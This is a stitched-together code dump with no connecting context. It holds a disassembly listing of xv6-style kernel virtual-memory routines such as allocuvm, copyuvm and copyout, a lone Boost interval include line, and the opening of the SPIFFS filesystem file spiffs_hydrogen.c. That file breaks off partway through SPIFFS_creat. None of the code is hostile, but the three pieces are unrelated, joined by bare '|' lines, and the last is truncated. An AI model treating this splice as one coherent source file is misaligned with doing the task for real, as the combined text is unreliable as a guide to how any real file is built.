80106c90: 0f 85 91 00 00 00 jne 80106d27 <loaduvm+0xa7>
80106c96: 8b 75 18 mov 0x18(%ebp),%esi
80106c99: 31 db xor %ebx,%ebx
80106c9b: 85 f6 test %esi,%esi
80106c9d: 75 1a jne 80106cb9 <loaduvm+0x39>
80106c9f: eb 6f jmp 80106d10 <loaduvm+0x90>
80106ca1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80106ca8: 81 c3 00 10 00 00 add $0x1000,%ebx
80106cae: 81 ee 00 10 00 00 sub $0x1000,%esi
80106cb4: 39 5d 18 cmp %ebx,0x18(%ebp)
80106cb7: 76 57 jbe 80106d10 <loaduvm+0x90>
80106cb9: 8b 55 0c mov 0xc(%ebp),%edx
80106cbc: 8b 45 08 mov 0x8(%ebp),%eax
80106cbf: 31 c9 xor %ecx,%ecx
80106cc1: 01 da add %ebx,%edx
80106cc3: e8 c8 fb ff ff call 80106890 <walkpgdir>
80106cc8: 85 c0 test %eax,%eax
80106cca: 74 4e je 80106d1a <loaduvm+0x9a>
80106ccc: 8b 00 mov (%eax),%eax
80106cce: 8b 4d 14 mov 0x14(%ebp),%ecx
80106cd1: bf 00 10 00 00 mov $0x1000,%edi
80106cd6: 25 00 f0 ff ff and $0xfffff000,%eax
80106cdb: 81 fe ff 0f 00 00 cmp $0xfff,%esi
80106ce1: 0f 46 fe cmovbe %esi,%edi
80106ce4: 01 d9 add %ebx,%ecx
80106ce6: 05 00 00 00 80 add $0x80000000,%eax
80106ceb: 57 push %edi
80106cec: 51 push %ecx
80106ced: 50 push %eax
80106cee: ff 75 10 pushl 0x10(%ebp)
80106cf1: e8 7a af ff ff call 80101c70 <readi>
80106cf6: 83 c4 10 add $0x10,%esp
80106cf9: 39 f8 cmp %edi,%eax
80106cfb: 74 ab je 80106ca8 <loaduvm+0x28>
80106cfd: 8d 65 f4 lea -0xc(%ebp),%esp
80106d00: b8 ff ff ff ff mov $0xffffffff,%eax
80106d05: 5b pop %ebx
80106d06: 5e pop %esi
80106d07: 5f pop %edi
80106d08: 5d pop %ebp
80106d09: c3 ret
80106d0a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80106d10: 8d 65 f4 lea -0xc(%ebp),%esp
80106d13: 31 c0 xor %eax,%eax
80106d15: 5b pop %ebx
80106d16: 5e pop %esi
80106d17: 5f pop %edi
80106d18: 5d pop %ebp
80106d19: c3 ret
80106d1a: 83 ec 0c sub $0xc,%esp
80106d1d: 68 e7 7a 10 80 push $0x80107ae7
80106d22: e8 69 96 ff ff call 80100390 <panic>
80106d27: 83 ec 0c sub $0xc,%esp
80106d2a: 68 88 7b 10 80 push $0x80107b88
80106d2f: e8 5c 96 ff ff call 80100390 <panic>
80106d34: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80106d3a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
80106d40 <allocuvm>:
80106d40: 55 push %ebp
80106d41: 89 e5 mov %esp,%ebp
80106d43: 57 push %edi
80106d44: 56 push %esi
80106d45: 53 push %ebx
80106d46: 83 ec 1c sub $0x1c,%esp
80106d49: 8b 7d 10 mov 0x10(%ebp),%edi
80106d4c: 85 ff test %edi,%edi
80106d4e: 0f 88 8e 00 00 00 js 80106de2 <allocuvm+0xa2>
80106d54: 3b 7d 0c cmp 0xc(%ebp),%edi
80106d57: 0f 82 93 00 00 00 jb 80106df0 <allocuvm+0xb0>
80106d5d: 8b 45 0c mov 0xc(%ebp),%eax
80106d60: 8d 98 ff 0f 00 00 lea 0xfff(%eax),%ebx
80106d66: 81 e3 00 f0 ff ff and $0xfffff000,%ebx
80106d6c: 39 5d 10 cmp %ebx,0x10(%ebp)
80106d6f: 0f 86 7e 00 00 00 jbe 80106df3 <allocuvm+0xb3>
80106d75: 89 7d e4 mov %edi,-0x1c(%ebp)
80106d78: 8b 7d 08 mov 0x8(%ebp),%edi
80106d7b: eb 42 jmp 80106dbf <allocuvm+0x7f>
80106d7d: 8d 76 00 lea 0x0(%esi),%esi
80106d80: 83 ec 04 sub $0x4,%esp
80106d83: 68 00 10 00 00 push $0x1000
80106d88: 6a 00 push $0x0
80106d8a: 50 push %eax
80106d8b: e8 d0 d9 ff ff call 80104760 <memset>
80106d90: 58 pop %eax
80106d91: 8d 86 00 00 00 80 lea -0x80000000(%esi),%eax
80106d97: b9 00 10 00 00 mov $0x1000,%ecx
80106d9c: 5a pop %edx
80106d9d: 6a 06 push $0x6
80106d9f: 50 push %eax
80106da0: 89 da mov %ebx,%edx
80106da2: 89 f8 mov %edi,%eax
80106da4: e8 67 fb ff ff call 80106910 <mappages>
80106da9: 83 c4 10 add $0x10,%esp
80106dac: 85 c0 test %eax,%eax
80106dae: 78 50 js 80106e00 <allocuvm+0xc0>
80106db0: 81 c3 00 10 00 00 add $0x1000,%ebx
80106db6: 39 5d 10 cmp %ebx,0x10(%ebp)
80106db9: 0f 86 81 00 00 00 jbe 80106e40 <allocuvm+0x100>
80106dbf: e8 0c ba ff ff call 801027d0 <kalloc>
80106dc4: 85 c0 test %eax,%eax
80106dc6: 89 c6 mov %eax,%esi
80106dc8: 75 b6 jne 80106d80 <allocuvm+0x40>
80106dca: 83 ec 0c sub $0xc,%esp
80106dcd: 68 05 7b 10 80 push $0x80107b05
80106dd2: e8 89 98 ff ff call 80100660 <cprintf>
80106dd7: 83 c4 10 add $0x10,%esp
80106dda: 8b 45 0c mov 0xc(%ebp),%eax
80106ddd: 39 45 10 cmp %eax,0x10(%ebp)
80106de0: 77 6e ja 80106e50 <allocuvm+0x110>
80106de2: 8d 65 f4 lea -0xc(%ebp),%esp
80106de5: 31 ff xor %edi,%edi
80106de7: 89 f8 mov %edi,%eax
80106de9: 5b pop %ebx
80106dea: 5e pop %esi
80106deb: 5f pop %edi
80106dec: 5d pop %ebp
80106ded: c3 ret
80106dee: 66 90 xchg %ax,%ax
80106df0: 8b 7d 0c mov 0xc(%ebp),%edi
80106df3: 8d 65 f4 lea -0xc(%ebp),%esp
80106df6: 89 f8 mov %edi,%eax
80106df8: 5b pop %ebx
80106df9: 5e pop %esi
80106dfa: 5f pop %edi
80106dfb: 5d pop %ebp
80106dfc: c3 ret
80106dfd: 8d 76 00 lea 0x0(%esi),%esi
80106e00: 83 ec 0c sub $0xc,%esp
80106e03: 68 1d 7b 10 80 push $0x80107b1d
80106e08: e8 53 98 ff ff call 80100660 <cprintf>
80106e0d: 83 c4 10 add $0x10,%esp
80106e10: 8b 45 0c mov 0xc(%ebp),%eax
80106e13: 39 45 10 cmp %eax,0x10(%ebp)
80106e16: 76 0d jbe 80106e25 <allocuvm+0xe5>
80106e18: 89 c1 mov %eax,%ecx
80106e1a: 8b 55 10 mov 0x10(%ebp),%edx
80106e1d: 8b 45 08 mov 0x8(%ebp),%eax
80106e20: e8 7b fb ff ff call 801069a0 <deallocuvm.part.0>
80106e25: 83 ec 0c sub $0xc,%esp
80106e28: 31 ff xor %edi,%edi
80106e2a: 56 push %esi
80106e2b: e8 f0 b7 ff ff call 80102620 <kfree>
80106e30: 83 c4 10 add $0x10,%esp
80106e33: 8d 65 f4 lea -0xc(%ebp),%esp
80106e36: 89 f8 mov %edi,%eax
80106e38: 5b pop %ebx
80106e39: 5e pop %esi
80106e3a: 5f pop %edi
80106e3b: 5d pop %ebp
80106e3c: c3 ret
80106e3d: 8d 76 00 lea 0x0(%esi),%esi
80106e40: 8b 7d e4 mov -0x1c(%ebp),%edi
80106e43: 8d 65 f4 lea -0xc(%ebp),%esp
80106e46: 5b pop %ebx
80106e47: 89 f8 mov %edi,%eax
80106e49: 5e pop %esi
80106e4a: 5f pop %edi
80106e4b: 5d pop %ebp
80106e4c: c3 ret
80106e4d: 8d 76 00 lea 0x0(%esi),%esi
80106e50: 89 c1 mov %eax,%ecx
80106e52: 8b 55 10 mov 0x10(%ebp),%edx
80106e55: 8b 45 08 mov 0x8(%ebp),%eax
80106e58: 31 ff xor %edi,%edi
80106e5a: e8 41 fb ff ff call 801069a0 <deallocuvm.part.0>
80106e5f: eb 92 jmp 80106df3 <allocuvm+0xb3>
80106e61: eb 0d jmp 80106e70 <deallocuvm>
80106e63: 90 nop
80106e64: 90 nop
80106e65: 90 nop
80106e66: 90 nop
80106e67: 90 nop
80106e68: 90 nop
80106e69: 90 nop
80106e6a: 90 nop
80106e6b: 90 nop
80106e6c: 90 nop
80106e6d: 90 nop
80106e6e: 90 nop
80106e6f: 90 nop
80106e70 <deallocuvm>:
80106e70: 55 push %ebp
80106e71: 89 e5 mov %esp,%ebp
80106e73: 8b 55 0c mov 0xc(%ebp),%edx
80106e76: 8b 4d 10 mov 0x10(%ebp),%ecx
80106e79: 8b 45 08 mov 0x8(%ebp),%eax
80106e7c: 39 d1 cmp %edx,%ecx
80106e7e: 73 10 jae 80106e90 <deallocuvm+0x20>
80106e80: 5d pop %ebp
80106e81: e9 1a fb ff ff jmp 801069a0 <deallocuvm.part.0>
80106e86: 8d 76 00 lea 0x0(%esi),%esi
80106e89: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80106e90: 89 d0 mov %edx,%eax
80106e92: 5d pop %ebp
80106e93: c3 ret
80106e94: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80106e9a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
80106ea0 <freevm>:
80106ea0: 55 push %ebp
80106ea1: 89 e5 mov %esp,%ebp
80106ea3: 57 push %edi
80106ea4: 56 push %esi
80106ea5: 53 push %ebx
80106ea6: 83 ec 0c sub $0xc,%esp
80106ea9: 8b 75 08 mov 0x8(%ebp),%esi
80106eac: 85 f6 test %esi,%esi
80106eae: 74 59 je 80106f09 <freevm+0x69>
80106eb0: 31 c9 xor %ecx,%ecx
80106eb2: ba 00 00 00 80 mov $0x80000000,%edx
80106eb7: 89 f0 mov %esi,%eax
80106eb9: e8 e2 fa ff ff call 801069a0 <deallocuvm.part.0>
80106ebe: 89 f3 mov %esi,%ebx
80106ec0: 8d be 00 10 00 00 lea 0x1000(%esi),%edi
80106ec6: eb 0f jmp 80106ed7 <freevm+0x37>
80106ec8: 90 nop
80106ec9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80106ed0: 83 c3 04 add $0x4,%ebx
80106ed3: 39 fb cmp %edi,%ebx
80106ed5: 74 23 je 80106efa <freevm+0x5a>
80106ed7: 8b 03 mov (%ebx),%eax
80106ed9: a8 01 test $0x1,%al
80106edb: 74 f3 je 80106ed0 <freevm+0x30>
80106edd: 25 00 f0 ff ff and $0xfffff000,%eax
80106ee2: 83 ec 0c sub $0xc,%esp
80106ee5: 83 c3 04 add $0x4,%ebx
80106ee8: 05 00 00 00 80 add $0x80000000,%eax
80106eed: 50 push %eax
80106eee: e8 2d b7 ff ff call 80102620 <kfree>
80106ef3: 83 c4 10 add $0x10,%esp
80106ef6: 39 fb cmp %edi,%ebx
80106ef8: 75 dd jne 80106ed7 <freevm+0x37>
80106efa: 89 75 08 mov %esi,0x8(%ebp)
80106efd: 8d 65 f4 lea -0xc(%ebp),%esp
80106f00: 5b pop %ebx
80106f01: 5e pop %esi
80106f02: 5f pop %edi
80106f03: 5d pop %ebp
80106f04: e9 17 b7 ff ff jmp 80102620 <kfree>
80106f09: 83 ec 0c sub $0xc,%esp
80106f0c: 68 39 7b 10 80 push $0x80107b39
80106f11: e8 7a 94 ff ff call 80100390 <panic>
80106f16: 8d 76 00 lea 0x0(%esi),%esi
80106f19: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80106f20 <setupkvm>:
80106f20: 55 push %ebp
80106f21: 89 e5 mov %esp,%ebp
80106f23: 56 push %esi
80106f24: 53 push %ebx
80106f25: e8 a6 b8 ff ff call 801027d0 <kalloc>
80106f2a: 85 c0 test %eax,%eax
80106f2c: 89 c6 mov %eax,%esi
80106f2e: 74 42 je 80106f72 <setupkvm+0x52>
80106f30: 83 ec 04 sub $0x4,%esp
80106f33: bb 20 a4 10 80 mov $0x8010a420,%ebx
80106f38: 68 00 10 00 00 push $0x1000
80106f3d: 6a 00 push $0x0
80106f3f: 50 push %eax
80106f40: e8 1b d8 ff ff call 80104760 <memset>
80106f45: 83 c4 10 add $0x10,%esp
80106f48: 8b 43 04 mov 0x4(%ebx),%eax
80106f4b: 8b 4b 08 mov 0x8(%ebx),%ecx
80106f4e: 83 ec 08 sub $0x8,%esp
80106f51: 8b 13 mov (%ebx),%edx
80106f53: ff 73 0c pushl 0xc(%ebx)
80106f56: 50 push %eax
80106f57: 29 c1 sub %eax,%ecx
80106f59: 89 f0 mov %esi,%eax
80106f5b: e8 b0 f9 ff ff call 80106910 <mappages>
80106f60: 83 c4 10 add $0x10,%esp
80106f63: 85 c0 test %eax,%eax
80106f65: 78 19 js 80106f80 <setupkvm+0x60>
80106f67: 83 c3 10 add $0x10,%ebx
80106f6a: 81 fb 60 a4 10 80 cmp $0x8010a460,%ebx
80106f70: 75 d6 jne 80106f48 <setupkvm+0x28>
80106f72: 8d 65 f8 lea -0x8(%ebp),%esp
80106f75: 89 f0 mov %esi,%eax
80106f77: 5b pop %ebx
80106f78: 5e pop %esi
80106f79: 5d pop %ebp
80106f7a: c3 ret
80106f7b: 90 nop
80106f7c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80106f80: 83 ec 0c sub $0xc,%esp
80106f83: 56 push %esi
80106f84: 31 f6 xor %esi,%esi
80106f86: e8 15 ff ff ff call 80106ea0 <freevm>
80106f8b: 83 c4 10 add $0x10,%esp
80106f8e: 8d 65 f8 lea -0x8(%ebp),%esp
80106f91: 89 f0 mov %esi,%eax
80106f93: 5b pop %ebx
80106f94: 5e pop %esi
80106f95: 5d pop %ebp
80106f96: c3 ret
80106f97: 89 f6 mov %esi,%esi
80106f99: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80106fa0 <kvmalloc>:
80106fa0: 55 push %ebp
80106fa1: 89 e5 mov %esp,%ebp
80106fa3: 83 ec 08 sub $0x8,%esp
80106fa6: e8 75 ff ff ff call 80106f20 <setupkvm>
80106fab: a3 64 57 11 80 mov %eax,0x80115764
80106fb0: 05 00 00 00 80 add $0x80000000,%eax
80106fb5: 0f 22 d8 mov %eax,%cr3
80106fb8: c9 leave
80106fb9: c3 ret
80106fba: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80106fc0 <clearpteu>:
80106fc0: 55 push %ebp
80106fc1: 31 c9 xor %ecx,%ecx
80106fc3: 89 e5 mov %esp,%ebp
80106fc5: 83 ec 08 sub $0x8,%esp
80106fc8: 8b 55 0c mov 0xc(%ebp),%edx
80106fcb: 8b 45 08 mov 0x8(%ebp),%eax
80106fce: e8 bd f8 ff ff call 80106890 <walkpgdir>
80106fd3: 85 c0 test %eax,%eax
80106fd5: 74 05 je 80106fdc <clearpteu+0x1c>
80106fd7: 83 20 fb andl $0xfffffffb,(%eax)
80106fda: c9 leave
80106fdb: c3 ret
80106fdc: 83 ec 0c sub $0xc,%esp
80106fdf: 68 4a 7b 10 80 push $0x80107b4a
80106fe4: e8 a7 93 ff ff call 80100390 <panic>
80106fe9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80106ff0 <copyuvm>:
80106ff0: 55 push %ebp
80106ff1: 89 e5 mov %esp,%ebp
80106ff3: 57 push %edi
80106ff4: 56 push %esi
80106ff5: 53 push %ebx
80106ff6: 83 ec 1c sub $0x1c,%esp
80106ff9: e8 22 ff ff ff call 80106f20 <setupkvm>
80106ffe: 85 c0 test %eax,%eax
80107000: 89 45 e0 mov %eax,-0x20(%ebp)
80107003: 0f 84 9f 00 00 00 je 801070a8 <copyuvm+0xb8>
80107009: 8b 4d 0c mov 0xc(%ebp),%ecx
8010700c: 85 c9 test %ecx,%ecx
8010700e: 0f 84 94 00 00 00 je 801070a8 <copyuvm+0xb8>
80107014: 31 ff xor %edi,%edi
80107016: eb 4a jmp 80107062 <copyuvm+0x72>
80107018: 90 nop
80107019: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80107020: 83 ec 04 sub $0x4,%esp
80107023: 81 c3 00 00 00 80 add $0x80000000,%ebx
80107029: 68 00 10 00 00 push $0x1000
8010702e: 53 push %ebx
8010702f: 50 push %eax
80107030: e8 db d7 ff ff call 80104810 <memmove>
80107035: 58 pop %eax
80107036: 8d 86 00 00 00 80 lea -0x80000000(%esi),%eax
8010703c: b9 00 10 00 00 mov $0x1000,%ecx
80107041: 5a pop %edx
80107042: ff 75 e4 pushl -0x1c(%ebp)
80107045: 50 push %eax
80107046: 89 fa mov %edi,%edx
80107048: 8b 45 e0 mov -0x20(%ebp),%eax
8010704b: e8 c0 f8 ff ff call 80106910 <mappages>
80107050: 83 c4 10 add $0x10,%esp
80107053: 85 c0 test %eax,%eax
80107055: 78 61 js 801070b8 <copyuvm+0xc8>
80107057: 81 c7 00 10 00 00 add $0x1000,%edi
8010705d: 39 7d 0c cmp %edi,0xc(%ebp)
80107060: 76 46 jbe 801070a8 <copyuvm+0xb8>
80107062: 8b 45 08 mov 0x8(%ebp),%eax
80107065: 31 c9 xor %ecx,%ecx
80107067: 89 fa mov %edi,%edx
80107069: e8 22 f8 ff ff call 80106890 <walkpgdir>
8010706e: 85 c0 test %eax,%eax
80107070: 74 61 je 801070d3 <copyuvm+0xe3>
80107072: 8b 00 mov (%eax),%eax
80107074: a8 01 test $0x1,%al
80107076: 74 4e je 801070c6 <copyuvm+0xd6>
80107078: 89 c3 mov %eax,%ebx
8010707a: 25 ff 0f 00 00 and $0xfff,%eax
8010707f: 81 e3 00 f0 ff ff and $0xfffff000,%ebx
80107085: 89 45 e4 mov %eax,-0x1c(%ebp)
80107088: e8 43 b7 ff ff call 801027d0 <kalloc>
8010708d: 85 c0 test %eax,%eax
8010708f: 89 c6 mov %eax,%esi
80107091: 75 8d jne 80107020 <copyuvm+0x30>
80107093: 83 ec 0c sub $0xc,%esp
80107096: ff 75 e0 pushl -0x20(%ebp)
80107099: e8 02 fe ff ff call 80106ea0 <freevm>
8010709e: 83 c4 10 add $0x10,%esp
801070a1: c7 45 e0 00 00 00 00 movl $0x0,-0x20(%ebp)
801070a8: 8b 45 e0 mov -0x20(%ebp),%eax
801070ab: 8d 65 f4 lea -0xc(%ebp),%esp
801070ae: 5b pop %ebx
801070af: 5e pop %esi
801070b0: 5f pop %edi
801070b1: 5d pop %ebp
801070b2: c3 ret
801070b3: 90 nop
801070b4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
801070b8: 83 ec 0c sub $0xc,%esp
801070bb: 56 push %esi
801070bc: e8 5f b5 ff ff call 80102620 <kfree>
801070c1: 83 c4 10 add $0x10,%esp
801070c4: eb cd jmp 80107093 <copyuvm+0xa3>
801070c6: 83 ec 0c sub $0xc,%esp
801070c9: 68 6e 7b 10 80 push $0x80107b6e
801070ce: e8 bd 92 ff ff call 80100390 <panic>
801070d3: 83 ec 0c sub $0xc,%esp
801070d6: 68 54 7b 10 80 push $0x80107b54
801070db: e8 b0 92 ff ff call 80100390 <panic>
801070e0 <uva2ka>:
801070e0: 55 push %ebp
801070e1: 31 c9 xor %ecx,%ecx
801070e3: 89 e5 mov %esp,%ebp
801070e5: 83 ec 08 sub $0x8,%esp
801070e8: 8b 55 0c mov 0xc(%ebp),%edx
801070eb: 8b 45 08 mov 0x8(%ebp),%eax
801070ee: e8 9d f7 ff ff call 80106890 <walkpgdir>
801070f3: 8b 00 mov (%eax),%eax
801070f5: c9 leave
801070f6: 89 c2 mov %eax,%edx
801070f8: 25 00 f0 ff ff and $0xfffff000,%eax
801070fd: 83 e2 05 and $0x5,%edx
80107100: 05 00 00 00 80 add $0x80000000,%eax
80107105: 83 fa 05 cmp $0x5,%edx
80107108: ba 00 00 00 00 mov $0x0,%edx
8010710d: 0f 45 c2 cmovne %edx,%eax
80107110: c3 ret
80107111: eb 0d jmp 80107120 <copyout>
80107113: 90 nop
80107114: 90 nop
80107115: 90 nop
80107116: 90 nop
80107117: 90 nop
80107118: 90 nop
80107119: 90 nop
8010711a: 90 nop
8010711b: 90 nop
8010711c: 90 nop
8010711d: 90 nop
8010711e: 90 nop
8010711f: 90 nop
80107120 <copyout>:
80107120: 55 push %ebp
80107121: 89 e5 mov %esp,%ebp
80107123: 57 push %edi
80107124: 56 push %esi
80107125: 53 push %ebx
80107126: 83 ec 1c sub $0x1c,%esp
80107129: 8b 5d 14 mov 0x14(%ebp),%ebx
8010712c: 8b 55 0c mov 0xc(%ebp),%edx
8010712f: 8b 7d 10 mov 0x10(%ebp),%edi
80107132: 85 db test %ebx,%ebx
80107134: 75 40 jne 80107176 <copyout+0x56>
80107136: eb 70 jmp 801071a8 <copyout+0x88>
80107138: 90 nop
80107139: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80107140: 8b 55 e4 mov -0x1c(%ebp),%edx
80107143: 89 f1 mov %esi,%ecx
80107145: 29 d1 sub %edx,%ecx
80107147: 81 c1 00 10 00 00 add $0x1000,%ecx
8010714d: 39 d9 cmp %ebx,%ecx
8010714f: 0f 47 cb cmova %ebx,%ecx
80107152: 29 f2 sub %esi,%edx
80107154: 83 ec 04 sub $0x4,%esp
80107157: 01 d0 add %edx,%eax
80107159: 51 push %ecx
8010715a: 57 push %edi
8010715b: 50 push %eax
8010715c: 89 4d e4 mov %ecx,-0x1c(%ebp)
8010715f: e8 ac d6 ff ff call 80104810 <memmove>
80107164: 8b 4d e4 mov -0x1c(%ebp),%ecx
80107167: 83 c4 10 add $0x10,%esp
8010716a: 8d 96 00 10 00 00 lea 0x1000(%esi),%edx
80107170: 01 cf add %ecx,%edi
80107172: 29 cb sub %ecx,%ebx
80107174: 74 32 je 801071a8 <copyout+0x88>
80107176: 89 d6 mov %edx,%esi
80107178: 83 ec 08 sub $0x8,%esp
8010717b: 89 55 e4 mov %edx,-0x1c(%ebp)
8010717e: 81 e6 00 f0 ff ff and $0xfffff000,%esi
80107184: 56 push %esi
80107185: ff 75 08 pushl 0x8(%ebp)
80107188: e8 53 ff ff ff call 801070e0 <uva2ka>
8010718d: 83 c4 10 add $0x10,%esp
80107190: 85 c0 test %eax,%eax
80107192: 75 ac jne 80107140 <copyout+0x20>
80107194: 8d 65 f4 lea -0xc(%ebp),%esp
80107197: b8 ff ff ff ff mov $0xffffffff,%eax
8010719c: 5b pop %ebx
8010719d: 5e pop %esi
8010719e: 5f pop %edi
8010719f: 5d pop %ebp
801071a0: c3 ret
801071a1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
801071a8: 8d 65 f4 lea -0xc(%ebp),%esp
801071ab: 31 c0 xor %eax,%eax
801071ad: 5b pop %ebx
801071ae: 5e pop %esi
801071af: 5f pop %edi
801071b0: 5d pop %ebp
801071b1: c3 ret
|
#include <boost/numeric/interval/ext/integer.hpp>
|
/*
* spiffs_hydrogen.c
*
* Created on: Jun 16, 2013
* Author: petera
*/
#include "spiffs.h"
#include "spiffs_nucleus.h"
extern "C" {
#if SPIFFS_CACHE == 1
static s32_t spiffs_fflush_cache(spiffs *fs, spiffs_file fh);
#endif
#if SPIFFS_BUFFER_HELP
u32_t SPIFFS_buffer_bytes_for_filedescs(spiffs *fs, u32_t num_descs) {
(void)fs; // unused, avoid warning
return num_descs * sizeof(spiffs_fd);
}
#if SPIFFS_CACHE
u32_t SPIFFS_buffer_bytes_for_cache(spiffs *fs, u32_t num_pages) {
return sizeof(spiffs_cache) + num_pages * (sizeof(spiffs_cache_page) + SPIFFS_CFG_LOG_PAGE_SZ(fs));
}
#endif
#endif
u8_t SPIFFS_mounted(spiffs *fs) {
return SPIFFS_CHECK_MOUNT(fs);
}
s32_t SPIFFS_format(spiffs *fs) {
#if SPIFFS_READ_ONLY
(void)fs;
return SPIFFS_ERR_RO_NOT_IMPL;
#else
SPIFFS_API_CHECK_CFG(fs);
if (SPIFFS_CHECK_MOUNT(fs)) {
fs->err_code = SPIFFS_ERR_MOUNTED;
return -1;
}
s32_t res;
SPIFFS_LOCK(fs);
spiffs_block_ix bix = 0;
while (bix < fs->block_count) {
fs->max_erase_count = 0;
res = spiffs_erase_block(fs, bix);
if (res != SPIFFS_OK) {
res = SPIFFS_ERR_ERASE_FAIL;
}
SPIFFS_API_CHECK_RES_UNLOCK(fs, res);
bix++;
}
SPIFFS_UNLOCK(fs);
return 0;
#endif // SPIFFS_READ_ONLY
}
#if SPIFFS_USE_MAGIC && SPIFFS_USE_MAGIC_LENGTH && SPIFFS_SINGLETON==0
s32_t SPIFFS_probe_fs(spiffs_config *config) {
SPIFFS_API_DBG("%s\n", __func__);
s32_t res = spiffs_probe(config);
return res;
}
#endif // SPIFFS_USE_MAGIC && SPIFFS_USE_MAGIC_LENGTH && SPIFFS_SINGLETON==0
s32_t SPIFFS_mount(spiffs *fs, spiffs_config *config, u8_t *work,
u8_t *fd_space, u32_t fd_space_size,
void *cache, u32_t cache_size,
spiffs_check_callback check_cb_f) {
SPIFFS_API_DBG("%s "
" sz:" _SPIPRIi " logpgsz:" _SPIPRIi " logblksz:" _SPIPRIi " perasz:" _SPIPRIi
" addr:" _SPIPRIad
" fdsz:" _SPIPRIi " cachesz:" _SPIPRIi
"\n",
__func__,
SPIFFS_CFG_PHYS_SZ(fs),
SPIFFS_CFG_LOG_PAGE_SZ(fs),
SPIFFS_CFG_LOG_BLOCK_SZ(fs),
SPIFFS_CFG_PHYS_ERASE_SZ(fs),
SPIFFS_CFG_PHYS_ADDR(fs),
fd_space_size, cache_size);
void *user_data;
SPIFFS_LOCK(fs);
user_data = fs->user_data;
memset(fs, 0, sizeof(spiffs));
_SPIFFS_MEMCPY(&fs->cfg, config, sizeof(spiffs_config));
fs->user_data = user_data;
fs->block_count = SPIFFS_CFG_PHYS_SZ(fs) / SPIFFS_CFG_LOG_BLOCK_SZ(fs);
fs->work = &work[0];
fs->lu_work = &work[SPIFFS_CFG_LOG_PAGE_SZ(fs)];
memset(fd_space, 0, fd_space_size);
// align fd_space pointer to pointer size byte boundary
u8_t ptr_size = sizeof(void*);
u8_t addr_lsb = ((u8_t)(intptr_t)fd_space) & (ptr_size-1);
if (addr_lsb) {
fd_space += (ptr_size-addr_lsb);
fd_space_size -= (ptr_size-addr_lsb);
}
fs->fd_space = fd_space;
fs->fd_count = (fd_space_size/sizeof(spiffs_fd));
// align cache pointer to 4 byte boundary
addr_lsb = ((u8_t)(intptr_t)cache) & (ptr_size-1);
if (addr_lsb) {
u8_t *cache_8 = (u8_t *)cache;
cache_8 += (ptr_size-addr_lsb);
cache = cache_8;
cache_size -= (ptr_size-addr_lsb);
}
if (cache_size & (ptr_size-1)) {
cache_size -= (cache_size & (ptr_size-1));
}
#if SPIFFS_CACHE
fs->cache = cache;
fs->cache_size = (cache_size > (SPIFFS_CFG_LOG_PAGE_SZ(fs)*32)) ? SPIFFS_CFG_LOG_PAGE_SZ(fs)*32 : cache_size;
spiffs_cache_init(fs);
#endif
s32_t res;
#if SPIFFS_USE_MAGIC
res = SPIFFS_CHECK_MAGIC_POSSIBLE(fs) ? SPIFFS_OK : SPIFFS_ERR_MAGIC_NOT_POSSIBLE;
SPIFFS_API_CHECK_RES_UNLOCK(fs, res);
#endif
fs->config_magic = SPIFFS_CONFIG_MAGIC;
res = spiffs_obj_lu_scan(fs);
SPIFFS_API_CHECK_RES_UNLOCK(fs, res);
SPIFFS_DBG("page index byte len: " _SPIPRIi "\n", (u32_t)SPIFFS_CFG_LOG_PAGE_SZ(fs));
SPIFFS_DBG("object lookup pages: " _SPIPRIi "\n", (u32_t)SPIFFS_OBJ_LOOKUP_PAGES(fs));
SPIFFS_DBG("page pages per block: " _SPIPRIi "\n", (u32_t)SPIFFS_PAGES_PER_BLOCK(fs));
SPIFFS_DBG("page header length: " _SPIPRIi "\n", (u32_t)sizeof(spiffs_page_header));
SPIFFS_DBG("object header index entries: " _SPIPRIi "\n", (u32_t)SPIFFS_OBJ_HDR_IX_LEN(fs));
SPIFFS_DBG("object index entries: " _SPIPRIi "\n", (u32_t)SPIFFS_OBJ_IX_LEN(fs));
SPIFFS_DBG("available file descriptors: " _SPIPRIi "\n", (u32_t)fs->fd_count);
SPIFFS_DBG("free blocks: " _SPIPRIi "\n", (u32_t)fs->free_blocks);
fs->check_cb_f = check_cb_f;
fs->mounted = 1;
SPIFFS_UNLOCK(fs);
return 0;
}
void SPIFFS_unmount(spiffs *fs) {
SPIFFS_API_DBG("%s\n", __func__);
if (!SPIFFS_CHECK_CFG(fs) || !SPIFFS_CHECK_MOUNT(fs)) return;
SPIFFS_LOCK(fs);
u32_t i;
spiffs_fd *fds = (spiffs_fd *)fs->fd_space;
for (i = 0; i < fs->fd_count; i++) {
spiffs_fd *cur_fd = &fds[i];
if (cur_fd->file_nbr != 0) {
#if SPIFFS_CACHE
(void)spiffs_fflush_cache(fs, cur_fd->file_nbr);
#endif
spiffs_fd_return(fs, cur_fd->file_nbr);
}
}
fs->mounted = 0;
SPIFFS_UNLOCK(fs);
}
s32_t SPIFFS_errno(spiffs *fs) {
return fs->err_code;
}
void SPIFFS_clearerr(spiffs *fs) {
SPIFFS_API_DBG("%s\n", __func__);
fs->err_code = SPIFFS_OK;
}
s32_t SPIFFS_creat(spiffs *fs, const char *path, spiffs_mode mode) {
SPIFFS_API_DBG("%s '%s'\n", __func__, path);
#if SPIFFS_READ_ONLY
(void)fs; (void)path; (void)mode;
return SPIFFS_ERR_RO_NOT_IMPL;
#else
(void)mode;
SPIFFS_API_CHECK_CFG(fs);
SPIFFS_API_CHECK_MOUNT(fs);
if (strlen(path) > SPIFFS_OBJ_NAME_LEN - 1) {
SPIFFS_API_CHECK_RES(fs, SPIFFS_ERR_NAME_TOO_LONG);
}
